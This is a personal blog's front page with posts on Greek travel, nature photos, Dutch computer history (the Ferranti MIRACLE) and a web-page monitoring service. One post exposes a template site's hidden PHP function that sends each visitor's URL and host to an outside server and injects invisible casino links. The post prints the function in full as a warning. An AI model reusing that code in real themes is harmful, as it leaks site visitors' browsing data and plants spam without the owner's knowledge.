Onnoot

Follow This Page
Follow That Page sends you an email when this page is changed.

Sections:

Anagrams
Blurry
Greece
Humor
Inbox
IT (software)
Lifelog
Linkdump
Nature
Panoramas
Photos
Simon
The Netherlands

www.flickr.com

The last 10 English comments:

Onno Zweers
Latest news: Templatesbrowser.com is online again! Beware!

andrew
The site in question are complete jerks, i have seen then plagerising articles, stealing peoples web content and now using dodgy links, i hope google catch them out.

Mandy
broken iron... where the turn thingy for heat has come off?

kay
Ik heb ook een shuffle (2nd gen) en het heeft inderdaad beperkingen, maar je hoeft niet per se met itunes et werken gelukkig... winamp doet het ook prima. Start winamp en open de media library. Tussen "Portables" komt dan je ipod. Itunes heeft mijn leven ook een hel gemaakt vandaar de alternatief.

varun
thanks a bunch .. i was about to put this theme on a high traffic public blog.

Pete
This is excellent information! This crap code was in our blog and with your help we removed it! This is a pretty crap thing for Templatebrowser to do...

Onno
Their Joomla page was just taken offline (404). Perhaps it helped that I complained to his provider, and to Google (who placed the ad).

Andreas
This is the address: ΙΕΡΑ ΜΟΝΗ ΚΟΙΜΗΣΕΟΣ ΘΕΟΤΟΚΟΥ ΜΑΛΕΒΗΣ 22009 ΑΓΙΟΣ ΠΕΤΡΟΣ ΚΥΝΟΥΡΙΑΣ GREECE

Stephanos in Atlanta
Xristos Anesti!!! Please adapt this to work with SeaMonkey! I don't need the greeklish support, just be able to click on a Greek or English word and have it translated. ...

Philip R J
nice to know....

Greece is being destroyed by 'respectable' fanatics

Greece

"The EU's terms do not begin to match the altruism the United States showed to the defeated Germans after 1945. America did not pauperise West Germans as many in France and indeed Washington wanted. America guaranteed their security, then gave them loans from the Marshall Plan that allowed the West German economic miracle to begin. Greece has invaded no one and committed no crimes against humanity. Yet the EU, which boasts that solidarity is its founding principle, is forcing it into destitution and chaos."
http://www.guardian.co.uk/commentisfree/2012/feb/19/nick-cohen-greece-european-union-crisis

Onno - feb 19, 2012, 18:48 - Link/Post a comment

GConf Error

ICT, Linux

Got this error message while starting gedit through a 'ssh -X' to a CentOS6 box:

GConf Error: Failed to contact configuration server; some possible causes are that you need to enable TCP/IP networking for ORBit, or you have stale NFS locks due to a system crash. See http://projects.gnome.org/gconf/ for information. (Details - 1: Failed to get connection to session: /bin/dbus-launch terminated abnormally without any error message)

Fixed it by installing dbus-x11 on the remote host.

Onno - jan 30, 2012, 12:53 - Link/Post a comment

My new laptop on its world tour

Photos

Onno - feb 8, 2011, 13:43 - Link/Post a comment

Follow That Page fans

Inbox, ICT, Lifelog

Mail from an enthousiastic Follow That Page user:

I KISS YOU!

I foolishly missed out on buying some Glastonbury tickets. It's a big music festival in the UK that sells out within 24 hours. Knowing that they sometimes make a tiny amount available, I had Follow That Page look at the ticket site.

Today, a month after they first went on sale, my phone beeped at me. The page had changed. SOLD OUT had changed to CLICK HERE. I ran to the nearest internet connection and bought my ticket.

An hour later they were all sold out again.

THANK YOU! The internet is great because of people like you.

See also this discussion.

Onno - oct 28, 2009, 23:00 - Link/Post a comment

Where the hell is Matt?

Linkdump

Matt Harding travels around the world dancing.

Onno - july 22, 2008, 13:01 - Link/Post a comment

What does Onno do at SARA?

ICT, Lifelog

Onno is now one of the system administrators of the Dutch Life Science Grid, a collection of clusters of computers that work together to make medical, biological and chemical calculations for universities and medical institutes.

Onno - aug 13, 2007, 22:43 - Link/Post a comment

Templatesbrowser.com quits

ICT

Now finally the Digg users are aware of the garbage that tempatesbrowser.com puts in its templates for Joomla and Wordpress.
Digg

As my brother Wessel writes, when I posted this on Digg months ago, there was hardly any response. Now suddenly there is. Well, all is well that ends well: the site is finally offline now.

Onno - aug 9, 2007, 12:22 - Link/Post a comment

Smoke above the Aoos

Photos, Nature, Greece

Smoke of a nearby burning forest makes the sunlight look like a sunset above the gorge of the river Aoos, in the Vikos-Aoos national park.

Onno - july 24, 2007, 23:28 - 1 comment

Nissan in Papingo

Greece

Nice video of Papingo and the Vikos-Aoos national park.
Youtube video

By the way, my good friend Giorgos has three absolutely great villa's for rent, a great starting point for exploring the Tymfi mountain range. Drakolimni, Gamila, Astraka, the Vikos gorge, the natural pools of Papingo, rafting on the river Voidomatis, all within short range! Have you always enjoyed the photos I posted here, then take this opportunity and book one of his villas while they are available!
www.papingo.info

Onno - june 30, 2007, 10:13 - Link/Post a comment

Templatesbrowser.com puts phishing code in Joomla

ICT

I have already told you that Templatesbrowser puts linkspam in Wordpress templates.

Now they do something similar with an adapted version of content management system Joomla, according to this discussion:

forum.joomla.org...

The PHP code sends every URL requested by your visitors to templatesbrowser.com, including all parameters. In other words, templatesbrowser monitors exactly what your visitors do on your Joomla website.
Additionally, it can return a piece of HTML code, probably with link spam, like in their Wordpress templates.

Conclusion: only download software from reliable sources.

Onno - june 29, 2007, 09:35 - 1 comment

Famous last nerds

Humor, Linkdump

These guys deserve a higher pagerank. Funny sketches on rap. My favorites are MC Schizophrenic "I'm MC Schizophrenic - no you're not - yes I am" and Wassup Holmes "What, son?/Watson". Myslexic Dan probably is very funny too, especially for anagram lovers, but quite a puzzle for non native speakers.
www.famouslastnerds.com

Onno - june 24, 2007, 17:20 - Link/Post a comment

Improved Follow That Page monitors Google Pagerank

ICT, Linkdump

This afternoon I employed the new version of Follow That Page.

New:
- With filters, FTP ignores parts of a page that don't interest you.
- You can have a page checked hourly.
- You can have Google pagerank for pages monitored.
- The robot's algorithm has been improved.

Onno - june 23, 2007, 22:16 - Link/Post a comment

Traffic

Humor, Lifelog

Onno - june 14, 2007, 17:08 - Link/Post a comment

The Ferranti Miracle archive of Lidy

ICT

I have put the digitized archive of my mother Lidy Zweers-De Ronde, about the Ferranti Mark I* at Shell labs (Miracle), online.
www.xs4all.nl/~onnoz/miracle/extra/

My mother got the photos at her work, Shell labs in Amsterdam. They were used as press material and many photos (at the office) were taken by herself and her colleagues. The tape, hm well, she was not allowed to bring it home but I guess we should now all be grateful that she did, for the sake of computer archeology.

www.computer50.org says that one Ferranti Mark 1* went to Holland. I guess that was the one my mother worked with. My mother has studied math and was hired at Shell lab as a (human) calculator/computer. At Shell, they had to calculate chemical substances and processes. She sometimes needed two weeks for certain calculations, with pen & paper and mechanical calculator. And it would happen, that halfway such a calculation, she found out that the result did not pass a simple test like "a squared number should be positive". At a certain time her boss said: never mind that, soon we will start using the Ferranti "MIRACLE", that can do the job much faster.

My mother says they started working with the Miracle in 1953 (because she associates the Miracle with the terrible flood of february 1953) but from several newspapers I see the dates 3 & 4 february 1955 as the official press conference opening. A colleague of my mother, Lunbeck, says 1953, like my mother does. Could it be that it took them two years to build the machine?

MIRACLE was short for Mokums Industrial Research Automatic Calculator for Laboratory and Engineering (Mokum being a nickname for Amsterdam), but it was soon changed into May It Replace All Chaotic Laboratory Experiments. :-)

There was a colleague that discovered how to produce sound on the Ferranti. He programmed the national anthem (Wilhelmus), and it was used when queen Juliana and her husband got a tour. At the grand opening before that, they also played the anthem and some other tune to the press, who were very impressed. The press also found it necessary to point out that computers were not robots and most certainly could not think for themselves.

Very funny is a remark in a Shell internal newspaper:
"Het is moeilijk te voorzien wat de toekomst op dit gebied zal brengen. Het laat zich aanzien dat de toekomstige rekenmachines niet veel meer aan snelheid kunnen winnen omdat de ons door de natuur opgelegde maximum snelheid van licht en electriciteit niet overschreden kan worden."
I translate:
"It is difficult to foresee what the future in this field may bring. It is to be expected that future computing machines can't gain much speed because the maximum speed of light and electricity, imposed by nature, can't be exceeded."

My mother has taught people at Shell how to program the computer. People were not satisfied with the previous teacher, who taught only theory. Her intention was to get her students behind the computer as soon as possible, to run a very simple calculation: 3+2. This was very successful: as soon as they got that working (some of them within a week), they were all very proud and happy, and their enthusiasm did the rest.

After a few years, my mother married my father and it was custom that married women quit their job to become housewives. My mother didn't regret that: she had enough of all those numbers. She, quite exceptionally, was offered to stay at Shell a while longer, but she declined.

I once asked a friend to interview my mother and the audio is available and my brother has typed out the text, but I'm afraid it's all in Dutch. I have put the text together with almost all photos and articles; and photos and binary transcription of the only remaining tape. Here they are:
www.xs4all.nl/~onnoz/miracle/extra/

Perhaps you can run the transcription of the interview through a translator like Altavista Babelfish. Perhaps one day I'll have time to translate it.

One of the documents is a summary of the instruction set of the Ferranti Mark 1*. I assume the Miracle was a Mark 1* because of the alphabetically ordered coding.

I found www.computer50.org after Cordula Rooijendijk published a book on Dutch (and English and American) computer history. She interviewed my mother (who never realized Cordula was writing a book) and wrote about her and also a whole chapter about Alan Turing and his work during the war and his tragic ending. It was this book that inspired me to learn a little bit more about the Ferranti Mark 1.
www.uitgeverijatlas.nl/...

Onno - june 12, 2007, 15:01 - Link/Post a comment

Flower field

Photos, Nature, Netherlands

Netherlands, Bergen, Wetering road, yesterday afternoon. Near a pond this field was ploughed, and the grass on which I used to play as a kid, gave way to these incredible flowers.

Onno - june 10, 2007, 18:49 - Link/Post a comment

Instruction set of the MIRACLE (Ferranti Mark I, 1953)

ICT

The MIRACLE (Mokums Industrial Research Automatic Calculator for Laboratory and Engineering, or May It Replace All Chaotic Laboratory Experiments) was the first electronic computer in a commercial environment in the Netherlands. That was back in 1953. My mother was one of its programmers. Here is an instruction table for the computer, including printout characters like the at-sign: @. The machine was fed with tape. You can see that the instructions were 5 bits wide.

I'm considering to put this material on Wikipedia. But these days Wikipedia is very strict about copyrights. The material is from around 1953, and according to European copyright laws, the copyright will expire around 2023. The original makers are almost impossible to find, and may very well have died. But the material is too special to leave it hidden in a closet for years, so I'll post it anyway, and if Wikipedia will not have it, I'll post it here.

[update]
www.xs4all.nl/~onnoz/miracle/extra

Onno - june 7, 2007, 22:28 - 1 comment

Book on (Dutch) computer history

ICT, Lifelog

"Alles moest nog worden uitgevonden" is a book written by Cordula Rooijendijk about the history of computers mainly in the Netherlands. The book includes an interview with my mother Lidy Zweers - de Ronde, who worked at Shell labs in Amsterdam as one of the first programmers in the Netherlands.

Onno - june 7, 2007, 21:39 - Link/Post a comment

Driving in Greece

Greece, Linkdump

Be extra careful when you pass slower vehicles and have to cross over to the opposite direction lane . There is no avoiding this maneuver on Greek roads especially if you are stuck behind a slow moving tractor trailer on a long uphill for the last 24 minutes. Maybe it's the pressure of 48 Greek drivers tailgating you cursing and waving frantically in your mirrors, maybe it's the need to get to where you are going sometime this century, or maybe it's your own latent Spartan warrior deep down inside who tends to awaken when you drive uphill behind a tractor trailer with 48 Greek drivers behind you, maybe all these reasons will compel you to forget all your ideas about defensive driving and pass the darn truck even if it is the last thing you would ever do.

www.greeklandscapes.com...

Onno - june 6, 2007, 19:44 - Link/Post a comment

Searching and selecting plants

Nature, Linkdump

Say, you want to know which climber with red flowers thrives in the shade. How do you find out which plants do just that? With the Plant Finder at BBC Gardening.

Onno - may 25, 2007, 10:35 - Link/Post a comment

Walking on the Trail of Lord Byron (New York Times)

Greece, Linkdump

Elise Maclay writes almost poetically about the Pindos. She makes some minor mistakes (Ionnina and Drakalimmi instead of Ioannina and Drakolimni) but I'm most happy to forgive her. She wrote this in 1990, when I had never been in Greece yet.

FROM childhood, I have loved walking and reading, ideally in close conjunction. A loaf of bread, a jug of wine? For me, a book and a backpack are enough. Especially if I can walk in the footsteps of one of my favorite authors.

Last spring I did just that, roughly approximating the itinerary of the poet George Noel Gordon Byron on his initial foray from Prevesa on the Ionian coast to the interior of northwest Greece.

nytimes.com/...

Onno - may 23, 2007, 21:29 - Link/Post a comment

Comparison of antivirus software

ICT, Linkdump

For my work, I was looking for new antivirus software. The last release of McAfee is terribly slow and makes our computers unstable.

After some searching I found this comparison of antivirus programs. Kaspersky tops the list.

Onno - may 23, 2007, 09:58 - 1 comment

Templatesbrowser.com puts link spam in WordPress

ICT, Linkdump, Lifelog

My brother Wessel used to be very positive about the thousands of free WordPress themes that you can download to markup your weblog.

But one should be careful. With my web page monitoring service Follow That Page, which also monitors hidden text, I found that my brothers website contained hidden commercial links to casinos and hotels. My brother checked it out and discovered the site that is responsible for all this: www.templatesbrowser.com/wordpress-themes/.

How does Templatesbrowser.com work?
On their site, you can download more than hundred free WordPress themes. These themes come from other websites, but Templatesbrowser.com adds a sneaky piece of code at the end of the file functions.php:

function credits()
{
$url = "http://get.templatesbrowser.com/wp.php?" . "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen("get.templatesbrowser.com", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

If you use one of those templates in your WordPress weblog, this piece of PHP code returns the following HTML code:

<div id="copyl" style="display: none;"><a href="http://www.casinotropez.[...]">casino en ligne</a></div>

This produces a link at the bottom of every WordPress page, that is invisible for human readers.

Templatesbrowser.com apparently does this to increase the pagerank of certain websites. We're not sure if Google falls for this little link spam trick. But if Google does find out that your page contains link spam, you risk being punished. That could mean that your website is removed from Google's search result pages.

More information on Wessel's website www.laterna.nl (Dutch only).

[update]
Templatesbrowser now distributes a version of the CMS Joomla with added phishing techniques, so that they can monitor what your visitors do on your Joomla website.

Onno & Wessel - may 18, 2007, 22:24 - 4 comments

Pines

Photos, Nature, Netherlands

Schoorl, Netherlands, this morning. Pine trees.

Female cones.

Male cones.

Male cones.

Onno - may 18, 2007, 19:10 - Link/Post a comment

Tadpole

Photos, Nature, Netherlands

Vogelmeer, Schoorl, The Netherlands, this morning. There ware some 100000 of them, I estimate.

Onno - may 18, 2007, 18:55 - Link/Post a comment

Dune rose and hoverfly

Photos, Nature, Netherands

Schoorl, The Netherlands, this morning

Onno - may 18, 2007, 18:44 - Link/Post a comment

Nissan in Papingo

Greece, Linkdump

Interesting news for Papingo lovers and probably also for car lovers: Nissan will present its new X-trail in Papingo. In june to be precise, according to my friend Giorgos who comes from Papingo.

Onno - may 15, 2007, 08:59 - 1 comment

Death Valley at night

Photos, Linkdump

This "astronomy picture of the day" appears to come out of a fairy tale: a night sky above Death Valley.

Onno - may 10, 2007, 19:38 - Link/Post a comment

Ioannina airport will become international

Greece

Maria has heard from several sources that Ioannina airport will become international. Hopefully it will be easier to travel to the heart of Epirus. Good news for lovers of Zagoria, Vikos gorge, Ioannina, and for hikers who want to explore the gorgeous Pindos mountains.

Onno - may 9, 2007, 20:21 - Link/Post a comment

Mating insects

Photos, Nature

Oudega, Friesland, Netherlands, 30 april 2007. I was shooting two mating insects when a third came flying right into the arms of the middle one. He doesn't look very comfortable. Can anyone tell what insects they are?